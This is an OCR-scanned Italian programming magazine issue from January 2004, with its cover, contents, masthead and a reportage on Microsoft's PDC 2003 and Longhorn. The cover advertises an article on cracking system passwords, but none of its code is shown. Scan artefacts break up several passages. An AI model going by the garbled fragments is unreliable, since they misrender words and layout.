Skip to main content

Full text of "Io programmo 76"

See other formats


KftSfi 



DELPHI DA ZERO 

DA NON PERDERE: la prima lezione del nuovo corso a puntate 



VERSIONE STANDARD 



*à\ RIVISTA+UBRO+CD €14,90 



RIVISTA+CD €6,90 



Periodicità mensile . GENNAIO 2004 • ANNO Vili, N.1 (76) 

Poste Italiane • Spedizione in a.p. - 45% • art. 2 comma 20/b legge 662/96 - AUT. N. DCDC/033/01/CS/CAL 



ROGRAMMO 



IL DISTRUGGI 

PASSWORD 

Un progetto completo di sorgenti 
per far saltare le protezioni di sistema 




Un navigatore 
satellitare in VB 

Come sviluppare un'applicazione per 
interfacciarsi con un dispositivo GPS 

OFFICE XP OUTLOOK: 

PROGRAMMINO SCRIVILO CON LA "J" 

Guida alla creazione Scopri come realizzare 

di applicazioni in C# un client di posta in Java 




MULTIMEDIA 



Effetti speciali 3D 
con C++ e OpenGL 



SISTEMA 



l WinZip in Java: 
un progetto completo 

l Salvare oggetti in XML 
utilizzando C# 

l Oggetti .NET 
in applicazioni COM 

l Java: metti l'help 
nelle tue applicazioni 



ELETTRONICA 



Braccio meccanico: 
controllare forza 
e precisione 



CORSI 



Codice robusto: gestire 
le eccezioni in C# 

UML: i class diagram 

Visual Basic: controllare 
gli short-cut 

C++: gli iteratori 
nelle librerie STL 



ADVANCED 



Lo sviluppo secondo 
Microsoft 



gin 



% 



PROGRAMMARE FLASH 2004 
COME VISUAL BASIC 




EDIZIONI 

MASTER 

www.edmaster.it Q 771 ì 28"59464Ì 



ISSN 1128-594X 



40076 




ioProgrammo (Plus) Anno Vili - N° 1 (76) • € 14,90 



CONTENTS T 



Questo mese su ioProgrammo 



Anno Vili - n. 1 (76) Gennaio 2004 

▼ Chi dà la linea? 



Questo mese sono particolarmente felice di ospitare la 
prima puntata del nuovo corso su Delphi. 
Innanzitutto perché a tenerlo è uno dei più validi 
collaboratori della nostra rivista e, in secondo luogo, 
perché questo nuovo corso ci dà la possibilità di ribadire 
la nostra attenzione verso un ottimo ambiente di 
sviluppo e verso un linguaggio cui noi tutti dobbiamo 
molto. 

Di tanto in tanto riceviamo severe critiche perché 
parliamo troppo poco di alcuni linguaggi e piattaforme, a 
danno di altri. Va da se che, essendo il numero di pagine 
limitato, ogni mese è necessario effettuare delle scelte e, 
a malincuore, delle rinunce. Una rassicurazione mi sento 
di darvi: dietro a queste scelte non c'è mai un motivo 
"politico". Sono le vostre mail e i vostri suggerimenti a 
guidarci, naturalmente insieme alla diffusione delle varie 
piattaforme. E poi c'è la partecipazione ai vari thread 
presenti sul forum di ioProgrammo.it, il cui successo è 
ormai inarrestabile, e che si dimostra sempre di più una 
vera fucina di talenti per la rivista. 

Nei prossimi numeri di ioProgrammo cominceranno ad 
apparire i primi articoli redatti da sviluppatori che 
abbiamo conosciuto grazie alle risposte date sul forum: 

ne vedrete delle belle! 

Buona lettura. 

Raffaele del Monaco 
raffaele@edmaster. it 



Reportage 


6 


► Microsoft Professional Developers Conference 2003 

News 


12 


Software sul CD-Rom 


15 


Soluzioni 


27 


► Simulazione di corpi rigidi 

Teoria & Tecnica 


31 



Un Outlook in Java 

Un cracker per le password di sistema 
Creare Fhelp online in Java 
Importare oggetti complessi 
Un'applicazione GPS in Visual Basic 

Tips&Tricks 



Elettronica 



Il Controllo degli attuatori 

Sistema 



Un WinZip con Java 
Flash MX 2004: verso un ambiente RAD 
Sviluppare applicazioni Office XP con C# (2 a parte) 
L'applicazione di effetti digitali 

I corsi di ioProgrammo 



LJCDG WEB 

nome_file.zip 



VL 



RJp' 



All'inizio di ogni articolo, troverete un nuovo simbolo che indicherà la 
presenza di codice e/o software allegato, che saranno presenti sia sul CD 
(nella posizione di sempre \soft\codice\ e \soft\tools\) sia sul Web, 
all'indirizzo http :// cdrom.ioprogrammo.it. 

Per scaricare software e codice da Internet, ogni mese indicheremo una 
password differente. Per il numero che avete fra le mani la combinazione è: 



Microsoft Solutions Framework v3.0 

Usare componenti .NET nelle applicazioni COM 

Sito del mese 



InBox 



L'enigma di ioProgrammo 



Username: black 



Password: mamba 



L'ultimo salto del cavallo 



ioR 



31 
38 
43 
48 
53 

57 



63 



69 



69 
73 
78 
83 

88 



UML • I Class Diagram 88 

Delphi • Deplhi: corso di Object Pascal (l a parte) 93 

VB.NET • I controlli standard di VB.Net 97 

C# • La gestione delle eccezioni 101 

C++ • Gli Iteratori 105 

Java • Oggetti intelligenti 109 

VB • Un acceleratore di tastiere in VB (2 a parte) 1 13 

Advanced Edition 118 



118 
121 

125 



127 



128 



OGRAMMO 



Anno Vili - N.ro 1 (76) - Gennaio 2004 - Periodicità Mensile 

Reg. Trib. di CS al n.ro 593 del 11 Febbraio 1997 

Cod.ISSN1128-594X 

E-mail: ioprogrammo@edmaster.it 

http://www.edmaster.it/ioprogrammo 

http://www.ioprogrammo.it 

Direttore Editoriale Massimo Sesti 

Direttore Responsabile Romina Sesti 

Responsabile Editoriale Gianmarco Bruni 

Responsabile Marketing Antonio Meduri 

Editor Gianfranco Forlino 

Coordinamento redazionale Raffaele del Monaco 

Redazione Antonio Pasqua, Thomas Zaffino 

Collaboratori M. Autiero, L. Barbieri, L. Buono, M. Canducci, M. Casario, 

M. Del Gobbo, G. Dodaro, M. Era, E. Florio, E Grimaldi, A. Marroccelli, 

E Mestrone, G. Naccarato, A. Pelleriti, C. Pelliccia, P Perrotta, L. Salerno, 

L. Spuntoni, E Vaccaro 

Segreteria di Redazione Veronica Longo 

Realizzazione grafica Cromatika S.r.l. 
Responsabile grafico: Paolo Cristiano 
Coordinamento tecnico: Giancarlo Sicilia 
Impaginazione elettronica: Aurelio Monaco 

"Rispettare l'uomo e l'ambiente in cui esso vive e lavora è una parte di tutto ciò 

che facciamo e di ogni decisione che prendiamo per assicurare che le nostre 

operazioni siano basate sul continuo miglioramento delle performance 

ambientali e sulla prevenzione dell'inquinamento" 

L*à£l ^^ Certificato UNI EN ISO 14001 
eCC ^sa^ N. 9191 CRMT 

Realizzazione Multimediale SET S.r.l. 
Coordinamento Tecnico Piero Mannelli 
Realizzazione CD-Rom Paolo Iacona 

Pubblicità Master Advertising s.r.l. 



Via Cesare Correnti, 1 - 20123 Milano 

Tel. 02 831212 - Fax 02 83121207 

e-mail advertising@edmaster.it 

Sales Director: Max Scortegagna 

Rete Vendita: Serenella Scarpa, Cornelio Morati, Roberto Piano, lohn E Alterante 

Segreteria Ufficio Vendite Daisy Zonato 

Editore Edizioni Master S.r.l. 

Sede di Milano: Via Cesare Correnti, 1 - 20123 Milano 

Tel. 02 831212 - Fax 02 83121206 

Sede di Rende: Cda Lecco, zona industriale - 87036 Rende (CS) 

Amministratore Unico: Massimo Sesti 

Abbonamento e arretrati 

ITALIA: Abbonamento Annuale: ioProgrammo Basic(ll numeri): € 37,90 
sconto 50% sul prezzo di copertina € 75,90. 

ioProgrammo Plus (11 numeri + 6 libri): € 61,90 sconto 50% sul prezzo di 
copertina €123,90. 

ESTERO: Abbonamento Annuale: ioProgrammo Basic (11 numeri): 
€ 151,80. ioProgrammo Plus (11 numeri + 6 libri): €247,80 
Costo arretrati (a copia): il doppio del prezzo di copertina + € 5.32 spese 
(spedizione con corriere). Prima di inviare i pagamenti, verificare la 
disponibilità delle copie arretrate allo 02 831212. 
La richiesta contenente i Vs. dati anagrafici e il nome della rivista, dovrà 
essere inviata via fax allo 02 83121206, oppure via posta a EDIZIONI MAS- 
TER via Cesare Correnti, 1 - 20123 Milano, dopo avere effettuato il paga- 
mento, secondo le modalità di seguito elencate: 

• cc/p n.16821878 o vaglia postale (inviando copia della ricevuta del versa- 
mento insieme alla richiesta); 

• assegno bancario non trasferibile (da inviarsi in busta chiusa insieme alla 
richiesta); 

• carta di credito, circuito VISA, CARTASI', MASTERCARD /EUROCARD, 
(inviando la Vs. autorizzazione, il numero della carta, la data di scadenza e 
la Vs. sottoscrizione insieme alla richiesta). 

• bonifico bancario intestato a Edizioni Master S.r.l. c/o Banca Credem 
S.p.a. c/c 01 000 000 5000 ABI 03032 CAB 80880 CIN Q (inviando copia 
della distinta insieme alla richiesta). 

SI PREGA DI UTILIZZARE IL MODULO RICHIESTA ABBONAMENTO POSTO 
NELLE PAGINE INTERNE DELLA RIVISTA. L'abbonamento verrà attivato sul 



primo numero utile, successivo alla data della richiesta. 
Sostituzioni: Inviare il CD-Rom difettoso in busta chiusa a: 
Edizioni Master Servizio Clienti - Via Cesari Correnti, 1 - 20123 Milano 



Assistenza tecnica: ioprogrammo@edmaster.it 

Servizio Abbonati: 

Stel.02 831212 



! e-mail: servizioabbonati@edmaster.it 



Stampa: Rotoeffe Via Variante di Cancelleria, 2/6 - Ariccia (Roma) 
Stampa CD-Rom: Deluxe Italy S.r.l. - via Rossini, 4 - Tribiano (MI) 
Distributore esclusivo per l'Italia: Parrini & C S.pA. 
Via Vito rchiano, 81 - Roma 

Finito di stampare nel mese di Dicembre 2003 

Nessuna parte della rivista può essere in alcun modo riprodotta senza 
autorizzazione scritta della Edizioni Master. Manoscritti e foto 
originali, anche se non pubblicati, non si restituiscono. Edizioni Ma- 
ster non sarà in alcun caso responsabile per i danni diretti e/o indiretti 
derivanti dall'utilizzo dei programmi contenuti nel supporto multime- 
diale allegato alla rivista e/o per eventuali anomalie degli stessi. 
Nessuna responsabilità è, inoltre, assunta dalla Edizioni Master per 
danni o altro derivanti da virus informatici non riconosciuti dagli 
antivirus ufficiali all'atto della masterizzazione del supporto. Nomi e 
marchi protetti sono citati senza indicare i relativi brevetti. 



A.N.E.S 




n.5113 del 25/11/2003 



L'Universo Tecnologico 
www.itpartal.it 



Edizioni Master edita: 

Idea Web, GolOnLine Internet Magazine, Win Magazine, PC Fun extreme, 
Quale Computer, DVD Magazine, Office Magazine, La mia Barca, 
ioProgrammo, Linux Magazine, Softline Software World, HC Guida 
all'Home Cinema, <tag/>, MPC, Discovery DVD, Computer Games Gold, 
inDVD, I Fantastici CD-Rom, PC VideoGuide, I Corsi di Win Magazine, 
I Filmissimi in DVD, La mia videoteca, Le Collection. 



REPORTAGE 



Microsoft PDC 03 



Microsoft Professional 
Developers Conf erence 



03 



Los Angeles. Allacciate le cinture, stiamo per andare nel futuro. 
Futuro prossimo, va bene, due anni, tre al massimo... 
ma vi assicuro che c'è di che stupirsi. 



Una chiamata alle armi per gli svi- 
luppatori: ecco cos'è una PDC per 
Microsoft. Un avvenimento che 
non ha cadenza fissa ma che prende vita 
solo quando il gioco si fa duro. E cosa ci 
sarà stato di così importante da far muove- 
re settemila sviluppatori (la creme della 
creme) alla volta di Los Angeles? Beh, per i 
pochi di voi che hanno avuto la fortuna di 
passare gli ultimi due mesi sulla Luna, ecco 
svelato l'arcano: la prima presentazione 
pubblica del successore di Windows XP: 
Longhorn (anche se in pre-pre-beta). Ma 
andiamo con ordine. 

UN CHARTER 
DALL'EUROPA 

Per gli sviluppatori europei è stato organiz- 
zato un volo charter con partenza da 
Londra che ha caricato a bordo tutti gli 
attendee del vecchio continente. . . a dire la 
verità, per noi italiani, causa orari scomodi 
e coincidenze improbabili, la cosa è stata 
parecchio pesante. In compenso, la di- 
mensione delle poltrone in business class 
mi ha permesso di attraversare l'oceano tra 
le braccia di Morfeo. Mi sono dunque sve- 
gliato che già si sorvolava la California e un 
profumo di toast leggermente abbrustoliti 
mi ha definitivamente restituito alla vita. 
Ed ecco la voce del capitano: "non vi preoc- 
cupate, l'odore che sentite non è dell'aereo 
che sta per precipitare, è solo l'intera Ca- 
lifornia che sta andando a fuoco!" L'odore 
di toast(!) diventa sempre più intenso, ma 



^ 


" ■ - — 








■■ 


fff£ 




* 




ì 


- - 










-^^^mi-J^ i-^J2 ^^^ 


Fig. 1: La sala stampa, sempre 
affollatissima. 



l'appetito mi passa di colpo. Mi affac- 
cio dal finestrino e non vedo altro che 
un mare di fiamme: sarà il leit motif 
dell'intera conferenza: l'incendio 
che incombe su Los Angeles. 
All'arrivo, una specie di nebbia ci dà 
l'impressione di non essere mai 
partiti da Milano: l'aria spessa (non 
sappiamo se per l'umidità o per il 
fumo) dà un tono decisamente 
drammatico a questo sbarco. 
Sembra un film. . . e infatti partia- 
mo in pullman alla volta di 
Hollywood: dove un pittoresco 
albergo aspetta i giornalisti e 
buona parte degli sviluppatori 
europei. 




Microsoft 




IL PRIMO 
CONTATTO 



IVfake the con 



ne 



Domenica mattina, compli- 
ce il fuso orario, sveglia alle 
sei del mattino senza alcuna 
difficoltà. (E ti credo! In Ita- 
lia sono le due del pomerig- 
gio... pagheremo tutto al 
ritorno in Europa :-). Se- 
condo il calendario PDC, 
oggi è giorno di precon- 
fernce. Arriviamo al Los Angeles Con 




vention Center, l'immenso centro con 
gressi che sarà sede della PDC, e ci accin 








^À, 



A 



Fig. 2: La vista dall'albergo che ospitava i giornalisti meritava una foto ricordo! 



Microsoft PDC 03 T REPORTAGE 



giamo ordinatamente a registrarci e a recu- 
perare lo zainetto d'ordinanza, pieno come 
un uovo di: riviste, volantini, librone 
"Writing Secure Code 2 nd Edition" e una 
copia di Office 2003 Professional Edition. 
Devo dire che, con gli attendee della PDC, 
Microsoft si dimostra sempre generosa. E il 
meglio deve ancora venire: domani, subito 
dopo la Keynotre di Bill Gates, avremo fra 
le mani i CD di Longhorn build 4051. 
Gli sviluppatori che hanno deciso di parte- 
cipare alla PDC già dalla pre-conference 
possono scegliere fra una 
varietà sessio- 




ction 




ni introduttive alle varie tec- 
nologie Microsoft. A noi giornalisti, invece, 
tocca una lunga sessione sulle strategie 
Microsoft che, per quanto interessante^ e' 
sicuramente meno avvincente di una bella 



full immersion tecnica. Ricardo Adame (PR 
Manager di Microsoft) ci dà il benvenuto 
ed effettua un piccolo sondaggio sulla pro- 
venienza dei giornalisti presenti e, tramite 
alzata di mano, ci rendiamo conto che noi 
europei siamo la maggioranza. A questo 
punto, le parole di rito sull'importanza di 
questa conferenza, testimoniata d'altro 
canto dalla incredibile affluenza degli svi- 
luppatori. Settemila presenze che equival- 
gono al tutto esaurito. Dopo le formalità, 
Adame inizia a delineare lo scenario del- 
l'attuale situazione dell'IT secondo Micro- 
soft, tutto all'insegna dell'integrazione. 
Microsoft sembra aver ormai sotterrato l'a- 
scia di guerra e appaiono lontani i tempi in 
cui il nome del demonio cominciava per 
"J". L'affermazione più ricorrente è che non 
è più tempo di Java contro C# o .Net contro 
J2EE: cooperazione, questo è il punto. Al 
fine di combattere la sensazione diffusa di 
un mercato IT ormai bollito, Adame co- 
mincia a dare un po' di cifre che, sebbene 
di fonte sospetta, possono fornire interes- 
santi spunti di riflessione: 

• Nel mondo, il 62% delle macchine 
server adotta Windows,di cui il 
50% versioni licenziate e il 12% pi- 

I R '•■■ . . 

• Sono già 185.000 i siti Web che 

girano su Windows Server 2003. 
Nell'ultimo anno si contano 16.000 
siti che sono passati da Linux a 
Windows Server 2003. 
In America, durante il 2003, la per- 
centuale di sviluppatori .Net ha su- 
perato quella degli sviluppatori 
Java. 



Ora, risulta abbastanza difficile cercare 
conferme o smentite per tutte queste affer- 
mazioni, una cosa è certa: Microsoft è in 
salute, e lo vuole far sapere. Ed è sicura- 
mente vero che Finteroperabilità è al cen- 
tro della strategia Microsoft. Tant'è vero 
che il titolo della presentazione successiva 
è "The Promise of Web Services", tenuta da 




Steven Van Roekel (director ofWeb services 
Marketing). 



UN PARADIGMA 
EVOLUTIVO 

Il punto di partenza è una calzante affer- 
mazione di Charles Darwin: "Non sono le 
specie più forti, né quelle più intelligenti a 
sopravvivere, ma quelle più rapide ad adat- 
tarsi ai cambiamenti". Nel moderno ecosi- 
stema delle applicazione questa afferma- 
zione risulta ancor più vera: ormai nessuna 
applicazione può considerarsi un'isola 
rispetto alle altre. L'integrazione è già nei 
fatti, se solo si pensa alla mole di informa- 
zioni che viene comunemente scambiata 
fra le aziende o fra aziende e clienti. Il 
primo pensiero di chi costruisce applica- 
zione è dunque tenere presente che i sog- 
getti con cui l'applicazione dovrà dialoga- 
re. È dunque necessario passare da un ap- 
proccio Function-Oriented ad uno Pro- 
cess-Oriented, irkcui l'applicazione è "con- 
sapevole" di essere parte di un processo 
più grande. 

È inoltre inevitabile: da un lato, ridurre il 
ciclo di sviluppo di un'applicazione, pro- 
prio per rispondere ai continui cambia- 
menti dell'ecosistema, dall'altro costruire 
un'applicazione sapendo che all'ultima 
build seguiranno ulteriori release, con un 
approccio, quindi, incrementale. 



QUALE 
SICUREZZA 

La forte spinta verso l'integrazione porta 
con se una crescente esigenza di sicurezza. 
Le applicazioni non sono più isole e, da 
tempo, non lo sono più i PC. Accanto a ciò, 
bisogna considerare il fatto che i prodotti 
Microsoft sono da sempre nel mirino degli 
hacker, al punto da portare il miglioramen- 



Fig. 3: Bill Gates delinea i futuri scenari dello sviluppo secondo Microsoft. 



E- : > ; 


m 


■ r M 


Fig. 4: Carousel, tra i più interessanti 
controlli presenti nella nuova interfaccia: 
consente di sfogliare un grande numero di 
immagini. 





to della sicurezza in cima ai pensieri di 
Microsoft. Amy Carroll (director of product 
management in Microsoft), ha affrontato i 
giornalisti ammettendo subito che: "La Sil- 
ver bullet non esiste". Insomma, anche i 
pochi che ancora si illudevano che potesse 
un giorno arrivare la protezione totale si 
devono arrendere ad una sorta di guerri- 
glia quotidiana contro hacker e worm. La 
Carroll ci ha dunque spiegato quali armi la 
Microsoft ci fornirà per combattere questa 
battaglia. Curiosamente, il primo punto 
della difesa attuata da Microsoft verte su 
quella che in campo avverso si chiamereb- 
be "Social engineering": sensibilizzare i 
possibili autori di worm sull'assurdità della 
loro azione. Beh, speriamo serva! Ovvia- 
mente, la strategia non si limita a questo 
ma punta molto sul miglioramento delle 
patch. Questa sorta di versione informatica 
di "guardie e ladri" godrà di sostanziali mi- 
glioramenti, soprattutto per quanto riguar- 
da la facilità di installazione delle patch 
che, a detta di Microsoft, è il vero punto do- 
lente della sicurezza nei sistemi Windows. 
Per invitare gli utenti a tenere aggiornate le 
proprie macchine, Microsoft promette 
patch più piccole, pubblicate con scaden- 
za fissa e installabili con procedure più 
semplici e con un minor intervento da 
parte dell'utente. Tutto questo, per dire del 
presente. . . ma domani è già futuro. 



THE 
LONGHORN PDC 

Altra sveglia all'alba, questa volta sulle ali 
dell'entusiasmo. Okkey: settemila svilup- 
patori sono tanti. Ma settemila sviluppato- 
ri eccitati dalla imminente apparizione del 
futuro equivalgono al pubblico di un con- 
certo rock. Per grazia di Dio non ci sono 
svenimenti e la calca è decisamente ridot- 
ta dalle dimensioni ciclopiche della sala, e 
mancano anche le ragazze che si strappa- 
no i capelli, e questo è un peccato. Per il 
resto l'atmosfera da happening c'è tutta e, 
quando infine arriva sul palco Bill Gates, 
resto quasi deluso dal vederlo senza chitar- 



ra in mano. "Welcome to the Longhorn 
PDC". Con queste prime parole BG si pre- 
senta alla sala e chiarisce, ove mai ce ne 
fosse bisogno, perché siamo tutti qui. 
Prima di tuffarci in Longhorn, BG ci tiene a 
tratteggiare lo scenario in cui Longhorn 
nasce. Gates definisce i tempi che ci appre- 
stiamo a vivere come "Digitale decade", 
parole che riecheggiano la conferenza 
tenuta a Roma a gennaio 2003. Un decen- 
nio in cui lo sviluppo hardware e software 
faranno passi tali da rivoluzionare il modo 
di lavorare e vivere delle persone. A testi- 
moniare la fiducia nella Digitale decade, 
Gates porta la forza degli investimenti in 
ricerca e sviluppo che Microsoft ha più che 
raddoppiato negli ultimi quattro anni e che 
sono in buona parte andati a finanziare lo 
sviluppo di Longhorn. Sforzi che sono 
andati, e ancora vanno, nella direzione di 
sicurezza, prestazioni, scalabilità e connet- 
tività. 




LA PELLE 

Finalmente si può iniziare a diradare la nu- 
be attorno al nuovo (sarebbe meglio dire 
prossimo) nato: davanti a noi, si schiude al 
fine l'interfaccia di Longhorn. . . ed è subito 
un'altra musica! Insieme all'interfaccia 
prende corpo uno dei tre pilastri che reg- 
gono la nuova piattaforma: il sottosistema 
grafico Avalon. Dimenticatevi quanto 
avete visto finora e cominciate a godere di 
mille piccole e grandi delizie per gli occhi. 
Finestre trasparenti, video che possono di- 
ventare sfondi di un'applicazione o dell'in- 



' . 






^^^^^^^™ 


• 




I L ■ _-».*- 


Fig. 8: Ecco come si presenta il desktop. 



tero desktop, finestre che reagiscono in 
modo più "naturale" ai movimenti cui sono 
sottoposte... sono solo gli elementi più 
appariscenti di questo rivoluzionario siste- 
ma grafico. L'integrazione di interfaccia 
utente, documenti e contributi multime- 
diali, questo è il cuore di Avalon il quale 
porta con se anche un nuovo modello di 
programmazione che separa definitiva- 
mente la logica dall'interfaccia e consente 
di programmare quest'ultima tramite un 
nuovo linguaggio di Markup: XAML. Con 
XAML è possibile descrivere completa- 
mente l'interfaccia di un'applicazione, di- 
sinteressandosi della logica che ci può es- 
sere dietro. 



IL MUOVO 
FILE SYSTEM 

Come dicevamo, Avalon è solo uno dei tre 
pilastri di Longhorn. Gates introduce il 
secondo con una domanda semplice e in- 
quietante: "Perché quando cerchiamo un 
documento sul PC ci vuole così tanto tem- 
po, mentre su Internet (grazie a Google, 
ndr) basta un attimo per tirar fuori quello 
che ci interessa?". Ecco questa è una delle 
domande per cui Longhorn vuole essere 
una risposta. Con un eccesso di enfasi, 
Gates ci confessa che avere un File System 
interrogabile come un database è sempre 
stato il suo personale Santo Graal. Long- 
horn realizza questo sogno con WinFS: il 
nuovo Storage system che, poggiando su 
NTFS, offre ad utenti e sviluppatori un 
nuovo modo di interagire con i dati pre- 
senti nel PC, unendo la flessibilità 
dell'XML alla tecniche di interrogazione 
dei database. Potrebbe sembrare un spot: 
non è così. L'innovazione c'è ed è grande. 
Due pregi su tutti: quando l'utente salva, 
non deve più preoccuparsi di "dove" an- 
dare a sistemare i dati e, quando vorrà re- 
cuperare quei dati, di nuovo non dovrà 
preoccuparsi di dove "fisicamente" si trovi- 
no. WinFS è capace di creare al volo delle 
viste organizzate secondo le nostre esigen- 
ze. Qualsiasi cosa cerco, posso trovarla 



* 8/Gennaio 2004 



http://www.ioprogrammo.it 



Microsoft PDC 03 ■ T REPORTAGE 



semplicemente impostando dei filtri: un 
video, una canzone, un documento o an- 
che un contatto di posta elettronica. Grazie 
al nuovo concetto di "item" (che rappresen 
ta l'unità fondamentale per WinFS) è pos- 
sibile organizzare la "conoscenza" presente 
nei nostri dischi rigidi. WinFS può essere 
visto come un File System ad oggetti. Ogni 
item (può essere un documento, un con- 
tatto di posta elettronica, un filmato. . .) ap- 
partiene ad una classe di item che ne defi- 
nisce le proprietà. Ogni classe può essere 
ovviamente derivata ed estesa e, tramite la 
manipolazione di semplici file XML, è pos- 
sibile creare nuove classi di item. Infine, 
punto fondamentale nella gestione della 
"conoscenza", è possibile creare relazioni 
fra item. Alla fine di questo inferno avrò le 
foto della PDC correlate al documento che 
sto scrivendo, correlato alla biografia di Bill 
Gates, correlato al numero di carta di cre- 
dito di Bill Gates... eccetera. 



SVILUPPARE 
PER LONGHORN 

Bill Gates termina la sua Keynote con un 
dimostrazione live in cui, tramite WinFS, si 
ricerca un documento nella intranet, im- 
postando dei semplici filtri di ricerca. Una 
volta aperto il documento, si palesano al- 
cuni degli "effetti speciali" che caratterizza- 
no il nuovo motore di visualizzazione di 
Longhorn. Il documento, all'apparenza un 
semplice file di testo, contiene al suo inter- 
no dei video e, con la stessa naturalezza 
con cui siamo abituati a vedere immagini 
fisse nei documenti Word, vediamo questi 
video immersi nel documento. Insomma, 
la lezione di Flash è stata presa e metabo- 
lizzata da Microsoft: anche la completa 
vettorializzazione dell'interfaccia contri- 
buisce a dare una forte sensazione... 
"Flash style". Tra le caratteristiche più "sim- 
patiche" della nuova interfaccia di 
Longhorn, voglio citarne una: scorrendo 
un documento con la barra laterale, a fian- 
co alla barra stessa appare un miniatura 





della pagina in cui ci si troverà nel momen- 
to in cui si rilascia la barra. Beh, da spiega- 
re è difficile. Date un'occhiata all'immagi- 
ne qui a fianco e capirete subito! 
Bill Gates ha terminato e passa la palla a 
Jim Allchin (Vice President di Microsoft) 
che, coadiuvato da Don Box e Chris Ander- 
son, ha messo su un vero e proprio spetta- 
colo sulle possibilità che la nuova piatta- 
forma di sviluppo o offre. 



coni winfx, 

SI FA GRANDE 

In questa parte della keynote sarà per la 
prima volta disvelato WinFX, estensione si 
.net che si pone alla base del modello di 
sviluppo per Longhorn. La presentazione 
sarà dominata dalla figura di Don Box, 
ormai guru incontrastato della program- 
mazione microsoft. Quando Don Box sale 
sul palco, è inevitabile aspettarsi una pre- 
sentazione a base di ottimo codice. Nes- 
suna eccezione: anche questa volta, il pri- 
mo esempio HelloWorld (scritto inXAML), 
viene digitato rigorosamente utilizzando 
emacs. Una semplice finestra vuota che, 
trascinata in giro per lo schermo, si piega a 
mo' di vela. . . con una gag irresistibile, Don 
Box comincia a far svolazzare questa fine- 
stra per lo schermo, domandando ad 
Allchin e Anderson se questo era il grande 
progetto che impegnava Microsoft da tre 
anni! Alla finestra iniziale sono pian piano 
aggiunti pulsanti, eventi, viene data la pro- 

r — — — \ 



'm Longhorn 



::::": 3 Windows 
Version 6,0 (Build *J5Lidx02.03M»l-13«) 

Copyright © 1985-2003 Microsoft Corporation 
Evaluation copy, Expires 4/22/2004 9:43 PM 



prietà di trasparenza e tutta la finestra 
viene ruotata di una trentina di gradi per 
dimostrare che Aero (il motore di rende- 
ring di Longhorn) è completamente vetto- 
riale. Infine, dietro la trasparenza della 
finestra, viene fatto partire un video. 
Attraverso Avalon si sta cercando di creare 
un modello di presentazione unificato per 
applicazioni Web, applicazioni Windows e 
applicazioni multimediali: di fatti, l'inter- 
faccia della piccola applicazione di esem- 
pio e completamente scritta in XAML, 
mentre la logica è scritta in C#... Per i più 
curiosi, ecco un po' del codice XAML che 
abbiamo rubato al volo: 

<window xmlns= 
"http://schemas.microsoft.com/2QQ3/xaml" 

xmlns:def="Definition" 

Def:Class="PDC.MyWindo" 

Text = "Hello,world" 

Visible = "true" 

> 

< Visible source= "c:\clouds.wmv" 

Stretch = "Fill" RepeatCount="...." > 

<TextPanel DockPanel.Dock="Fill" Transform= 
"rotate 10 scale 2.3 2.3">I can embed 
<Bold>really</Bold> text 

<TextBox id = "bob" width = "2in" 
Height="20pt"/> 

<Button Click="Pushed">Push me I'm a 

cliean</Button> 

</TextPanel> 



uni posto 

PER OGNI ITEM 

Dopo Avalon, è stata lo volta di WinFS che, 
oltre a permettere all'utente finale le ope- 
razioni descritte da Bill Gates, offre agli svi- 
luppatori un eccellente set di API che lo 
rendono un magnifico file system pro- 
grammabile. La demo presentata per Win- 
FS, e scritta (in diretta e "di proprio pugno") 
da Jim Allchin, non era particolarmen te 
impressionante: semplicemente, l'applica- 
zione consentiva di cercare in tutto il siste- 
ma un item che rispondesse a determinati 



Fig. 9: In Whidbey è particolarmente 
curato l'aspetto presentation. 



Fig. 11: La versione distribuita ai 
partecipanti della PDC. 





criteri. Giusto l'occasione per dimostrare la 
semplicità del metodo Find presente nelle 
API di WinFS. 



IL MONDO 
COMMESSO 
IM ÌMDACO 

Sbrigata la pratica WinFS, Don Box si illu- 
mina ed inizia la demo riguardante il terzo 
pilastro di Longhorn: Indigo. La creatura di 
Don Box per la programmazione di Web 
Services che vuole rivoluzionare gli attuali 
modelli di sviluppo attraverso il passaggio 
dalla programmazione ad oggetti verso 
una programmazione service oriented. 
Indigo fornisce un set di API che semplifica 
la programmazione distribuita, facendosi 
carico di tutte le istanze più gravose: sicu- 
rezza delle comunicazioni in primis. Come 
demo, viene mostrata una piccola applica- 
zione che, in poche righe di codice C#, si 
collega al Blog di Don Box (http://www. got- 
dotnet.com/team/dbox/) e aggiunge un 
nuovo post. Le righe di codice C# necessa- 
rie a realizzare sono state talmente poche 
da suscitare un fragoroso applauso all'atto 
del post. 

Don Box è senz'altro il più apprezzato 
speaker di Microsoft: oltre alla Keynote, ha 
tenuto numerose altre sessioni, in stanze 
sempre strapiene di persone, al punto che 
molte session sono state ripetute. Box è il 




prototipo dell'animale da palcoscenico, 
ma non bastano le doti teatrali ad attrarre 
le frotte di sviluppatori come Box è capace. 
Lo strepitoso successo delle sue presenta- 
zioni è anche dovuto all'estremo interesse 
suscitato da Indigo... curiosità che ha 
mosso anche il sottoscritto ad indagare più 
a fondo e a partecipare a questi happening. 




UM MUOVO 
ORIENTAMENTO 
PERLA 
PROGRAMMAZIONE 

Per compiere il passaggio dalla program- 
mazione classica a quella Service Oriented, 
bisogna tenere bene a mente il concetto di 
confine. È infatti sulla esatta delimitazione 
dei confini che separano le varie applica- 
zione che la Service Oriented Architecture 
(SOA) può dimostrarsi vincente sui vecchi 
modelli di sviluppo. Nel modello SOA, le 
applicazioni (o, meglio, i servizi) dialogano 
esclusivamente attraverso un scambio di 
messaggi e non più attraverso delle chia- 
mate a metodi. Box esemplifica il concetto, 
paragonando i metodi di una classe a degli 
orifizi attraverso cui un'altra applicazione 
può entrare e fare danni. Chi invoca un 
metodo di un'applicazione che non ha 
scritto ed il cui codice non è accessibile, si 
trova sempre in una situazione pericolosa, 
situazione che viene esclusa dalle a priori 
dall'approccio SOA. In un mondo orienta- 
to ai servizi, non si condividono più classi 
ma Schema e Contract. "Le classi sono fan- 



tastiche quando posso testare tutta l'appli- 
cazione in un mondo controllabile separa- 
to dal resto dell'universo, cosa che diventa 
ingestibile in un ambiente più complesso 
quale quello, ad esempio, di Internet. Non 
vogliamo più il livello di intimità fra appli- 
cazioni previsto dal vecchio modello, non 
vogliamo più infilare un pezzo di codice in 
un orifizio di un'altra applicazione e 
cominciare a rimestare!" Con questa colo- 
rita prosa, Don Box pose una pietra tomba- 
le sulla programmazione ad oggetti in am- 
biente distribuito. 




SCORPACCIATA 
DI TECMOLOGIA 

Il martedì si apre con una seconda Keyno- 
te, leggermente meno affollata della prima 




+ 10/Gennaio 2004 



http://www.ioprogrammo.it 



Microsoft PDC 03 T SOLUZIONI 



